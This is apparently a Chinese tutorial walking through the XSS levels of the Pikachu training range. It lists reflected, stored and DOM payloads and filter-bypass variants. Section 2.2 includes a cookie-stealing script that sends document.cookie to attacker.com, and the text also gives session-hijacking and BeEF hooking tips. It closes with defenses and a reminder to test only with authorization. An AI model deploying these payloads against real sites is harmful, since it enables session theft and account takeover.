Pikachu靶场XSS漏洞实战：从原理到绕过的通关解析
1. XSS漏洞基础与Pikachu靶场环境搭建
XSS（跨站脚本攻击）就像有人在你常去的咖啡馆留言板上偷偷贴了张纸条，上面写着"请把钱包交给柜台"。当其他顾客看到这张纸条时，可能会误以为是咖啡馆的正式通知。在Web安全领域，这种"恶意纸条"就是攻击者注入的JavaScript代码，而"顾客"就是普通用户的浏览器。
Pikachu靶场是个专门设计的安全演练环境，相当于一个装满各种漏洞玩具的沙盒。我第一次搭建这个环境时，用的是XAMPP集成环境，整个过程比想象中简单：
# 下载Pikachu靶场源码 wget https://github.com/zhuifengshaonianhanlu/pikachu/archive/master.zip # 解压到Web服务器目录 unzip master.zip -d /var/www/html/启动Apache和MySQL服务后，访问localhost/pikachu就能看到这个萌萌的"皮卡丘"安全实验室。记得要初始化数据库，我在第一次使用时差点栽在这个环节——没有执行初始化SQL文件，导致所有存储型XSS关卡都无法正常演示。
靶场左侧菜单清晰地列出了XSS漏洞的各种类型，就像游戏里的关卡选择界面。这种设计对新手特别友好，我建议初学者按照从上到下的顺序逐个攻破，就像打游戏升级一样循序渐进。
2. 反射型XSS实战攻防
2.1 GET型反射XSS
这就像在搜索引擎中输入关键词，服务器原封不动地把你的输入显示在结果页。我刚开始测试时，直接输入了经典的<script>alert(1)</script>，但页面毫无反应。查看源码才发现输入框有长度限制——这是新手常遇到的第一个坑。
绕过方法很简单：用浏览器开发者工具修改input标签的maxlength属性。Chrome中按F12，找到对应输入框元素，双击maxlength值改成1000即可。这个操作让我想起小时候玩红白机时用的作弊码，修改后成功弹出alert窗口的瞬间特别有成就感。
实际攻击中，攻击者会把恶意代码藏在URL参数里：
http://target.com/search?q=<script>alert(document.cookie)</script>当用户点击这个链接时，他们的会话cookie就会被窃取。我在内部培训时做过演示：用Python的Flask搭建一个模拟网站，让同事们点击"抽奖链接"，结果他们浏览器里的模拟cookie全部被我收集到了。
2.2 POST型反射XSS
这个关卡需要先登录，就像进入银行网站后才能进行转账操作。用提供的admin/123456登录后，我在留言板注入了一段窃取cookie的代码：
<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie</script>这里有个实用技巧：不退出登录的情况下，在另一个浏览器标签打开开发者工具，直接修改document.cookie的值就能实现会话劫持。有次我同事问我为什么他的账号突然发布了奇怪内容，其实就是这个漏洞导致的。
3. 存储型XSS深度解析
3.1 漏洞原理与危害
存储型XSS就像在图书馆的书里夹带恶意传单，每个借阅这本书的人都会看到。我在测试时先在留言板插入payload，发现前端没有显示，但在网页源码中清晰可见——这说明过滤机制不完善。
清理数据库的操作很关键：
DELETE FROM message WHERE content LIKE '%script%';有次我忘记清理测试数据，结果下次演示时所有访客的浏览器都在疯狂弹窗，场面一度非常尴尬。
3.2 实战攻击链构建
完整的攻击流程应该是：
- 注入恶意代码到留言板
- 等待管理员查看后台
- 在XSS平台接收cookie
- 使用Cookie登录管理员账户
我常用BeeF框架来做演示，它的控制台特别直观：
hook.js?callback=alert(document.domain)当管理员中招后，甚至能实时看到他的屏幕截图，这种可视化效果在安全意识培训时特别有冲击力。
4. DOM型XSS的花式玩法
4.1 基础DOM XSS
这种漏洞就像魔术师的手法，所有操作都在客户端完成。测试时我输入'><img src=1 onerror=alert(1)>，查看源码发现字符串被直接拼接进innerHTML。现代前端框架如React/Vue默认会做转义，但很多老系统仍然存在这个问题。
4.2 进阶DOM操作
遇到更复杂的情况时，需要分析DOM树结构。有次我遇到一个看似过滤很严的网站，最终通过SVG标签成功注入：
<svg/onload=alert(1)>这种变形payload能绕过大多数简单过滤器，就像特工使用伪装身份一样。
5. XSS过滤绕过艺术
5.1 大小写与标签替换
当发现<script>被过滤时，可以尝试：
<ScRiPt>alert(1)</sCriPt>或者使用非script标签：
<body onload=alert(1)> <img src=x onerror=alert(1)>5.2 HTML编码绕过
有些系统只过滤特定字符，这时可以采用编码：
<img src=x onerror=alert(1)>这串数字解码后就是alert(1)，我在一次CTF比赛中就用这招拿下了关键分数。
6. 特殊场景下的XSS利用
6.1 href属性注入
当发现输出在a标签的href属性时，可以尝试：
javascript:alert(1)现代浏览器虽然对这类协议有限制，但在内网系统中仍然常见。有次渗透测试中，我就是通过这个漏洞拿到了OA系统的管理员权限。
6.2 JS字符串注入
当输入出现在JavaScript代码中时，需要先闭合前面的字符串：
';alert(1);//这就像在对话中突然插入自己的台词。有次我审计代码时发现开发者这样写：
var userInput = '<%= unsanitizedInput %>';简直就是为XSS量身定做的漏洞模板。
7. 防御措施与实战建议
在修复自己项目中的XSS漏洞时，我总结了几点经验：
- 所有动态输出都要编码：HTML用HtmlEncode，JS用JsEncode
- 使用CSP头限制脚本来源：
Content-Security-Policy: default-src 'self' - 设置HttpOnly标志防止cookie被盗
有次我帮客户做代码审计，发现他们竟然用字符串替换来防御：
str_replace('<script>', '', $input);这种黑名单方式根本防不住稍微有点经验的攻击者。正确的做法应该是白名单过滤，或者使用业界成熟的库如DOMPurify。
最后提醒新手：在合法授权范围内进行测试，我见过有人在自己公司内网瞎搞结果触发警报的尴尬情况。真正的安全专家就像外科医生，既要精通解剖学，更要遵守希波克拉底誓言。